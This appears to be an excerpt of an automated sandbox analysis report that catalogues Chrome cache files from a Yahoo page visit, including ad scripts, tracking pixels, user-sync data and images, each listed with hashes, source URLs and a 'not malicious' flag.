SHA1:	6610E9F2794DDA75702E4157BBD1AEB673FA3411
SHA-256:	6701B543BB0D8B239A1E0AE4CBB4A4D2A5C66B648308CE9BA24293D8AFE6DFFA
SHA-512:	710A2242E2E4ACCFA0630B6DCA547372E548CF4AED103A31D6E3FE98B0AC9C4750AB5C19925090D4D3DF7F1D104087A9F33B06D4B808784FCF0F2843439C9CFC
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/eh/prebid-config/bp-fp.json
Preview:	{. "brandProtection": {. "badv": {. "1111.com.tw": true,. "1962pac.com": true,. "1keygou.com": true,. "2020upto.us": true,. "2363.org": true,. "350.org": true,. "3oaksorchard.com": true,. "43cbd.com": true,. "4everstamp.com": true,. "53peaks.org": true,. "60plus.org": true,. "76place.com": true,. "814isnotok.org": true,. "AmericasSpirit.org": true,. "BetterTogetherVillage.com": true,. "DanBooneForHuntersville.com": true,. "DeLuzioforCongress.com": true,. "Rugbyaddict.com": true,. "Socceraddict.com": true,. "TennisWorldUSA.com": true,. "TwilaCarter.com": true,. "Winred.com": true,. "a1apac.org": true,. "aaa.asn.au": true,. "aarti4communitycollege.com": true,. "aax.com": true,. "abbyfin

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	5394
Entropy (8bit):	7.776005939440717
Encrypted:	false
SSDEEP:	96:bV4GlK1VJ/dJx2P/fGSeAFXQ0M1L6u2CQFNWCS9J3mI5S3HIgYIzf:OG81VJ/9Se4XVNjFN49ZKY6
MD5:	D2F829468A2D437908D23F752C1791D2
SHA1:	5060CE1A8AEC98D55D60122522B2782245BB1D93
SHA-256:	10FB0197448A5210CE15B4EBC2B9D47837A05FF36BE36EA2B800C34C272A14D4
SHA-512:	1135EE36D01796840C5E6BA7E0863E37FA32F390E583BDD0A0924AE9253BD60183B05A7C414BC616E64C57B96049F0C66F48E2FA0220BD68502E8B223A44CDFE
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/I_CWQDhNbfRywZcHGDk5jA--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/eb2a85d0-04bc-11ef-9dfb-5556c0b3052a.cf.webp
Preview:	RIFF....WEBPVP8X.... ...c.....ICCP0......0ADBE....mntrRGB XYZ .........3.;acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 2000 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../....VP8 ....p....d...>y8.H$..'..P..gnB..\|.B....R.~.K.7k.U.b.c..."N!%.M.Kv%M.l{..........\|P......>)....dH..%..6....b6.....C...J...i.....%0..5.k...1<..+......X..,...8...":.Q6.0.8y..`......4..-.P...+w.........S..[i~..,..+...........u.i_,Q....V...:.DWNw.B.._;.H.Q...7....."...D8.V....Y.......H.........l.....$....h...<O.V0f.r..g..Sl.<...^.R.....$...f.nB1b....Ej.8.....d_G..B

Chrome Cache Entry: 495

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, WAVE audio, IEEE Float, stereo 44100 Hz
Category:	downloaded
Size (bytes):	149336
Entropy (8bit):	7.496490218548733
Encrypted:	false
SSDEEP:	3072:1SERAbS2HYOmf1uZYB58lwhf+sNdkSWHGcZOqDsAF:1VW7HYOvZA58XMdfWfZCU
MD5:	8F1C7F5187E8E78FDB31A5E6C688E803
SHA1:	64B1EF52851B1C5B130BD7FC12576329D1738F0D
SHA-256:	0598E13041B04BD01DC5E5849ABEBAC0E253BBAC3EC6BDC71CA62B84100717F4
SHA-512:	B5F744E0AF9D4736B542060471404E074FCA5769FFEBEF2BECD0A311329BAE985B97FFB52247E571EE0C2A9B7A99CB3FD5D91F21BD807A09D0A45FB651D12217
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/misc/voice-close-202105050733.wav:2f75b202dbab4e:0
Preview:	RIFFPG..WAVEfmt ........D... b.... .data.....r.6.>.7..6!'.7...5...7BU...O.7...FE.7D...7Ud...MQ7.;J.7&.7..t.j..6. ....)6m...x..O...?..eH..........7.5....m.........P..........L...%J....9...u,.........H=......H=..j0..>....3...Y.......+..Ud........ ..>..G".M..r.".....!.....s......FE...v......._..~....Pz..L....O.....r.".....k..5......y............5m..?.6.....6&.`.\|.$7..-..MQ7.>..{7...._.7....v.7.k.6..7.\.6y..7..7..7$.<7D..7k.j7...7..7...7m.7...8.n.7 ..8...7...8.~.79..8k..7.x.8.1.74i.8...8...84i.8.+.8Q..8...7...8...7...8k..7~..8...7._.8...7...8G..7o..8...7[..8Ud.7C..8.L.7...8..o7.C.7j.E7.>.7A..7H..70F.6.@.7..6j..7BU.5.O.7Ud..m.7..~.. .7.!..>s7.~..~.H7..=.K..7D.e.0F.6......6#R.....5.J......&..............`...w...?0.h8!..".;.O.;i..<7..<+L.<..<.(.<...<...=6#.=..9=.\:=J.T=F.U=.:h=..h=..s=..t=.x=..y=..y=+Rz=Kzw=p.x=\.o=QMp=..d=..d=..\=.e]=..d=.Xe=.Q~=..~=...=.g.="{.=..=..=.#.=N.=.(.=4.=.1.=...=.i.=...={..=p.=.,.=[..=..=.O.=...=.e.=J.=...=...=...=

Chrome Cache Entry: 497

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8254), with no line terminators
Category:	downloaded
Size (bytes):	8254
Entropy (8bit):	5.339222492199265
Encrypted:	false
SSDEEP:	192:6EuL8zG7CAQyinBudEIrfp4CrxdHtxVhyQRyfTSTvTsTyT2Y3mkot:juL8uCByinBxmB4CrxtTHySyfWDYOyY8
MD5:	1ED4FE71B1FC647DDBF37A7050944309
SHA1:	7D959D812262C51C4C11D7D31BE040692248F438
SHA-256:	FAF50015DE5B96281DCBF145FDF58222EFC35C962759A3E915F4E95F510D7B78
SHA-512:	7E1332BF492D83256CD7E6507811FA188D3D1F23659B4697C15563254B77E8184CF3E23064D5E9DFD4A22229DAD02EA300FE57CF4E77C4093D8F29C6B1DFD0EA
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/js/react-wafer-stream.custom.modern.1ed4fe71b1fc647ddbf37a7050944309.js
Preview:	window.wafer&&window.wafer.ready((function(){var e="show-drawer",t=null,a=null,r="wafer-fetch-error",i="wafer-fetch-complete",n="stream-related-drawer",o="StreamRelated",s="react-wafer-stream",c="json",d="wafer-fetch",l="stream-uuid-list",u=[],w=document.querySelectorAll(".stream-items"),m=window.innerWidth\|\|document.documentElement.clientWidth,f="js-sponsored-moments-dwell-time",A=window.wafer&&window.wafer.utils,g={INARTICLE:9/16,reservemoments:16/9},p=function e(t){var a,r,i=t.getAttribute("data-da-position");if("reservemoments"===i&&(t=t.querySelector("#defaultRESERVEMOMENTS")),a=t.getAttribute("data-html"),r=t.getAttribute("data-darla-config"),a&&r){(r=JSON.parse(r)).dest;var n=window.DARLA.prefetched();if(!window.DARLA.config()\|\|window.DARLA.inProgress()\|\|n&&0!==n.length)setTimeout((function(){e(t)}),500);else{if(!r.h&&!r.w){var o=Math.floor(m*g[i]),s={flex:{h:{min:o},w:{min:m}},h:o,w:m};Object.assign(r,s)}var c=r.id;window.DARLA.addPos(r);var d=new window.DARLA.Response(c,{});a=

Chrome Cache Entry: 498

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=openx&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=e371b1cd-b253-0913-153a-eaacb9b94c53
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 499

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://pmp.mxptint.net/sn.ashx?ak=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 500

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 600x400, components 3
Category:	downloaded
Size (bytes):	41115
Entropy (8bit):	7.968945573627706
Encrypted:	false
SSDEEP:	768:TIayE/AM+4AEM0cJzRWghhtsP6vLoHXHgApJfmt0HQJAQrKX1x:LyE/AMxMnN5htsz3HBpxmuHQilx
MD5:	55FCF6A6879CE3F3715DDF3BD4ADFE46
SHA1:	18C29E9C9322CFA608EAB83048D0652895F790A5
SHA-256:	9B0133985330EF93C09C9ACB0255DEF717668747815ED981BE6D3713BDD76DAD
SHA-512:	F3B54C792E54AF2DA134D5ACF8C340D54A107FD5192BC4367D27018877574A9B88AD0247B646F32122E98839F27F1E80B2611C492033AC891CA0AD49DF4E2858
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/default/20200716/masque/scramble-words.jpeg
Preview:	......JFIF........................................................................................................................................................X.."..........................................a..........................!...1A.."Qa#2q.....$BRSrt.........%&3Ue....4Cbcsu...Td...DE.56V.......................................D.........................!1AQq."a.......2......RS..#3r....4Bb..$c.............?..z).....6.m;.b.L&..N.N......b.m..6...^...>..y~J.H^,Q...z....R......QQv......[...G_..!.......{...w..%y^.".D)..;B...'..j..`..@TV..F<{....\.Z....>.e.e..E2.$'.L....S(.B~h.QD..).Q!>.e.HO..E...QD..).Q!>.e.HO..E...QD..3L....S(.B}..(..E2.$'.sB.`.....!P.,J.X=..G.^\|U.$`...T+.b.....c-.p..h.O.z .f.....U.h^M..j....$....Tv.;.j.UU.......W6)jp(V..6........4.>..9TaIV.)6.Vm..i..?....A.....T;h.O.I....ZM..).h......J...)..Q..S.KD.P)...6...S.....R.OD.Bf+.m.......V.!y.g.....p.RTp...>?..R......Q...3D...n...!;u....!;u....4HN.F.nh....Q...3D...n...!;u....4HN.F.nh....Q...3D...n..

Chrome Cache Entry: 501

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 515 x 80, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18421
Entropy (8bit):	7.972917954780464
Encrypted:	false
SSDEEP:	384:HTBltJl+0z1iNXtjSETeX3rSbGpgQtuWYDcuImzgAS6qek5L0:HTBl9z0NZ0X3rxtuUuIxxTekW
MD5:	6EF801C4FCAF4F4BBC17827BBCD87955
SHA1:	A0565F6A783E7888F93C40DEF2606BA566F324F4
SHA-256:	E123B85CAC89D7F7EE5F86E4E66864C62FBC6FC51F732EF873BB4FBF964777C0
SHA-512:	60D636B7AA1901F4D059761B4F05A8A9776F71033164A5F21B2C9B087CF5E87558C10FB54C79AC6846B91F3B7F0A23F7FBE5B460FD0845F9628217FFD8BC035E
Malicious:	false
Reputation:	low
URL:	https://de9a11s35xj3d.cloudfront.net/mf_logo.png
Preview:	.PNG........IHDR.......P......^v'....tEXtSoftware.Adobe ImageReadyq.e<...CiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (20230612.m.2205 9cfa76c) (Macintosh)" xmpMM:InstanceID="xmp.iid:F0A6B520087211EE86A4DA2C433DF55F" xmpMM:DocumentID="xmp.did:F0A6B521087211EE86A4DA2C433DF55F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2DED90FF086F11EE86A4DA2C433DF55F" stRef:documentID="xmp.did:2DED9100086F11EE86A4DA2C433DF55F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...L..DHIDATx..}.x.....}.U.lY...b.1.....BI....i/1%.O..#...y.......-......;...[.%K..

Chrome Cache Entry: 502

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32043)
Category:	downloaded
Size (bytes):	242058
Entropy (8bit):	5.386426681750811
Encrypted:	false
SSDEEP:	3072:URDNWAw1kQMqBNmpOHNxBjEYpf+hD5IJ3ui30F:6WAukHOHlEuf+hD5y3ui38
MD5:	2C827824A670702A535169F076C36254
SHA1:	5C7775DE15481A15AFD7D4BEF3B3491C455EBCCC
SHA-256:	BC12347103DA4DA2AC30F8B4DEFD567679284E0BAD691A54FAD78AD804FC9C27
SHA-512:	B5EDE2B2055BF26EB5273A631EC663C86FB2F32DA4285932C23AE1976EC3FFC47F7AE490B3A2BE333F54D378C3C4103BBA0B97401B04A47A2DAB38F6EB13DC2E
Malicious:	false
Reputation:	low
URL:	https://s0.2mdn.net/ads/studio/cached_libs/createjs_2019.11.15_min.js
Preview:	/!. @license createjs.* Visit http://createjs.com/ for documentation, updates and examples... Copyright (c) 2011-2015 gskinner.com, inc... Distributed under the terms of the MIT license..* http://www.opensource.org/licenses/mit-license.html.. This notice shall be included in all copies or substantial portions of the Software..*/.this.createjs=this.createjs\|\|{},createjs.extend=function(a,b){"use strict";function c(){this.constructor=a}return c.prototype=b.prototype,a.prototype=new c},this.createjs=this.createjs\|\|{},createjs.promote=function(a,b){"use strict";var c=a.prototype,d=Object.getPrototypeOf&&Object.getPrototypeOf(c)\|\|c.__proto__;if(d){c[(b+="_")+"constructor"]=d.constructor;for(var e in d)c.hasOwnProperty(e)&&"function"==typeof d[e]&&(c[b+e]=d[e])}return a},this.createjs=this.createjs\|\|{},createjs.indexOf=function(a,b){"use strict";for(var c=0,d=a.length;d>c;c++)if(b===a[c])return c;return-1},this.createjs=this.createjs\|\|{},function(){"use strict";function a(){throw"UID

Chrome Cache Entry: 503

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60378), with no line terminators
Category:	downloaded
Size (bytes):	60378
Entropy (8bit):	5.226751934675976
Encrypted:	false
SSDEEP:	1536:DwUHzI01OwxqmIGAKoMuXpTteneKJ4jf0V:DHXm50j
MD5:	C1FBB54C4F22838F40CE99E7418FCD97
SHA1:	62D8945137AE75C185903E0552C920E03E5577E5
SHA-256:	C17C2FCA2732465B44F96FE2E566A4E016E4A56D7C40169E5E84F501BA750E5D
SHA-512:	C5178DF676E1BD912502AC86DE7E270B76FD321B229E320754E455AD6620FCEDCFED5515AA9192ECA09074E892916978E0A3F412C6C8757AEC88900566C56B48
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-core-1.65.1-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer",[],t):"object"==typeof exports?exports.wafer=t():e.wafer=t()}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}functi

Chrome Cache Entry: 504

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	5.110902344426088
Encrypted:	false
SSDEEP:	3:YEOBHXp8nSVaOY:YEOB3gSVw
MD5:	BB4CBD999E8C27B97F471709AEAE6FD7
SHA1:	0B3E1A3895FC6747B881362E95EF407893BB4A74
SHA-256:	A67724E59B0FA59FDCE98416179DC23C5663E0DDE3F5EF0ADB4C96B22A6A6E65
SHA-512:	2178B50FC40FA33445A5B1F6DFF436580AA7A45A9393B873B668E1D08709F34E8DF7C69AA1434B5D46FDF4770CAAFBA55A9A76F381B4244E0D6AE76ED5CD5805
Malicious:	false
Reputation:	low
Preview:	{"axid": "y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A"}

Chrome Cache Entry: 505

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2553)
Category:	downloaded
Size (bytes):	23530
Entropy (8bit):	5.497656132776961
Encrypted:	false
SSDEEP:	384:kM/aDTs87Jbt81zUbdLZNaAsoSfX/KPH7T3BZdeX2hGWNH0pKyzy4dYlkWyv7S/v:J/aXskJt8xEdLZNaNtfX/KPH712X2hGK
MD5:	7FBC48EABE9BB1BEF523CF346C9E5363
SHA1:	FAB1C4A60DD82A0EA5EC61EE75A9D3D9DBA2472B
SHA-256:	51586EC2D56DC12C32B65B0612D89695B3A5B7D0C91592ACAD6EC8A04F8701AA
SHA-512:	EC7DED2166D3A59AF2A7EF2D792753007F4F7C872FE1842D9340080580BB4C56951F2C5DBC4E4BA71BAC8D1B43CF961FC10BF3336BF7F5980DD972B559B2F43E
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/pagead/js/r20240424/r20110914/abg_lite_fy2021.js
Preview:	(function(){'use strict';/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .var m=this\|\|self;function aa(a){a:{var b=["CLOSURE_FLAGS"];for(var c=m,d=0;d<b.length;d++)if(c=c[b[d]],null==c){b=null;break a}b=c}a=b&&b[a];return null!=a?a:!1}function ba(a){return a};function ca(a){m.setTimeout(()=>{throw a;},0)};var ea=aa(610401301),fa=aa(188588736);var n;const ha=m.navigator;n=ha?ha.userAgentData\|\|null:null;function ia(a){return ea?n?n.brands.some(({brand:b})=>b&&-1!=b.indexOf(a)):!1:!1}function q(a){var b;a:{if(b=m.navigator)if(b=b.userAgent)break a;b=""}return-1!=b.indexOf(a)};function r(){return ea?!!n&&0<n.brands.length:!1}function ja(){return r()?ia("Chromium"):(q("Chrome")\|\|q("CriOS"))&&!(r()?0:q("Edge"))\|\|q("Silk")};function ka(a,b){return Array.prototype.indexOf.call(a,b,void 0)};function la(a){la[" "](a);return a}la[" "]=function(){};!q("Android")\|\|ja();ja();q("Safari")&&(ja()\|\|(r()?0:q("Coast"))\|\|(r()?0:q("Opera"))\|\|(r()?0:q("Edge"))\|\|(r()?ia

Chrome Cache Entry: 506

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (596), with no line terminators
Category:	downloaded
Size (bytes):	596
Entropy (8bit):	5.51486499921158
Encrypted:	false
SSDEEP:	12:C35JHlhpsgi7x13Z2MozYi7C31Ahz5Rmguei7x135MDOggi7RkDp:CpJHv+17x1JToR7CYPmF7x1C6g170p
MD5:	022F2868033F95E4FF31F710C6CF2AAB
SHA1:	73BF42CDC4BBEC0AF474E6DC82655BB42DDC3EC5
SHA-256:	C8AEF6E62C37FF56E761A70B332C22A3FB75434FDF4DEBAE1960CC891F248984
SHA-512:	205FD4A8A2FB94C07D47FC85FDD4562A93D4BDCCA563AB866D0428B5CB7AD0517ACF4DE76CE275BFD334662639A6DA48F0DD38BAA9AAA480E39812C26AB507E1
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=83059973&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncImagePixel('https://bpi.rtactivate.com/tag/?id=20909&user_id=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.tapad.com/idsync/ex/receive?partner_id=3371&partner_device_id=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B');PubMatic.loadAsyncImagePixel('https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://io.narrative.io/?companyId=673&id=pubmatic_id:EE7B59FE-9DAF-415D-A93C-7AF48020DD7B.');PubMatic.PugMasterCallback(false, false, true);

Chrome Cache Entry: 507

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2067)
Category:	downloaded
Size (bytes):	31423
Entropy (8bit):	5.4609683477027
Encrypted:	false
SSDEEP:	768:+lo/z1S5bKFQ3sdrZNQuiKpHUmplWNYtfQd:+lo/zg5b+drZNxTlWNYtfU
MD5:	665205483CC3F8BFB401F8ABC2568AAB
SHA1:	F85725BC930479BBFA9699783E04756BB7CBBA6A
SHA-256:	31E0E4D27F82A2A44476100291DFB745D5E02A9D04EB68B6161FA7DE436FD44F
SHA-512:	2D06F902016FE9452EC8AE1532EDE6A888C80B9665B48A838A610895BEE17E5254FE39F812F6AEA46E62F6962C6CDF7A43A9FEC0AE1E67E983FF92D73D3A48EF
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/js/r20240424/r20110914/abg_lite.js
Preview:	(function(){function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a}; .function ca(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var n=ca(this);function r(a,b){if(b)a:{var c=n;a=a.split(".");for(var d=0;d<a.length-1;d++){var f=a[d];if(!(f in c))break a;c=c[f]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}} .function da(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if("number"==typeof a.length)return{next:aa(a)};throw Error(String(a)+" is not an iterable or ArrayLike");}var ea="function"==typeof Obj

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://ade.googlesyndication.com/ddm/activity/dc_oe=ChMIx5X807vjhQMVmOwoBR3ijgRdEAEYACCumLBl;dc_eps=AHas8cBFi4DLBa66J1aZCWW9aYtkAzzQK7n4Ty-rRK4CbmE-vbqIlusnIZ1e8hN3Gbe_PgCrC6WztsNquTpYeVWjeCY;met=1;&timestamp=1714257749462;eid1=2;ecn1=0;etm1=10;
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 509

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	83
Entropy (8bit):	4.684943877433247
Encrypted:	false
SSDEEP:	3:YQ3/eHiFCxTgf8EEwWK1:YQ3GTqEwd
MD5:	35CE48655843CDE9991BE7167FE21225
SHA1:	C9D13B85C94DC72E013AA9527CAD21C8AC48B789
SHA-256:	FAF9008B111AAE8EACCC71D2F4AFDDC118932C53B7715CF1E75973FF4CDB10CF
SHA-512:	EB927DC060FCD4ADB04CD72ABF91AB8062227739CD2CA8C2E9D629E3175283DD842FD156DF91A6E87F18452638EE0B6B455FB3040FB3BAE6260BDD21C2A8CC5E
Malicious:	false
Reputation:	low
URL:	https://api.taboola.com/1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8
Preview:	{"user":{"id":"5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2","isNewUser":true}}

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24261), with no line terminators
Category:	downloaded
Size (bytes):	24261
Entropy (8bit):	5.304781432346146
Encrypted:	false
SSDEEP:	384:lsJ4PfECP+FwJMrpG6XnXROuKnsmMsKPV8/L3LUUXkEA7FA75jvTgUgMRVGZ38Ov:lsKEnlKnsmO8/L3LEA7BTU3t2KNU30
MD5:	AFE8DA6920ADA0BC90385BDAE40B0AB1
SHA1:	763D2C26A77E3F7CA7B813F9A8336203B3BADE53
SHA-256:	2DD8296FEA76FFF804A3A5B3710847F7209F0AFAB7E1F50CF075C6646192DF74
SHA-512:	477DF2668EF4411D157562B9841BD571B00A79298C0D57EFEF0D4FC21CE6726051B98C7D5F98D421C7DD72C52182A2EE8367FCE64FE225CAC219225C7412B052
Malicious:	false
Reputation:	low
URL:	https://ajs.a47b.com/js/mntr.min.2.11.0.js
Preview:	function _objectSpread(e){for(var t=1;t<arguments.length;t++){var i=null!=arguments[t]?arguments[t]:{},r=Object.keys(i);'function'==typeof Object.getOwnPropertySymbols&&(r=r.concat(Object.getOwnPropertySymbols(i).filter(function(e){return Object.getOwnPropertyDescriptor(i,e).enumerable}))),r.forEach(function(t){_defineProperty(e,t,i[t])})}return e}function _defineProperty(e,t,i){return t in e?Object.defineProperty(e,t,{value:i,enumerable:!0,configurable:!0,writable:!0}):e[t]=i,e}!function(){'use strict';var e={0:'Other / Unknown',1:'Safari',2:'Chrome',3:'Mozilla Firefox',4:'Internet Explorer',5:'Microsoft Edge',6:'Opera'};Object.seal(e);var t=function(e,t,i){i.state.frameIframe.val=function(e,t){try{return t.self!==e}catch(e){return!0}}(e,t),i.state.frameHostileIframe.val=function(e){var t=!1;try{e.top.location.toString(),t=!1}catch(e){t=!0}return t}(t),i.state.frameSafeFrame.val=function(e,t,i){var r=null;try{void 0!==e.$sf?r=e.$sf:void 0!==e.sfAPI?r=e.sfAPI:void 0!==e.self.$sf&&(r=e.

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2222)
Category:	downloaded
Size (bytes):	42217
Entropy (8bit):	5.396200966239423
Encrypted:	false
SSDEEP:	384:/xEVUMByh/fa6cSOUkxHT72sDWB75/0D0PmfDpl2yk/Z7SNJQ0Wu3PI3Prx/ttoI:hRS6cbHTi7iFkOvLbAN9gzRON1Rxwi
MD5:	1C33A4D6D63C7E6E38CC72E6245FC107
SHA1:	19EA40DED1698EC0617604DC3E09897F7A8FF640
SHA-256:	435DB380C9936C0970DCD3D9941EAB6AEC2FCF2A38C3E2B4E02D957E8E76BD1F
SHA-512:	CA55321C3C847819553238850525E59C6ED5C37BCA116358D5080971037E56A3407D256B6A78DBE38F4B91CC97E62D899296C620F80701598983BA0624E086E7
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/sodar/Q12zgMmT.js
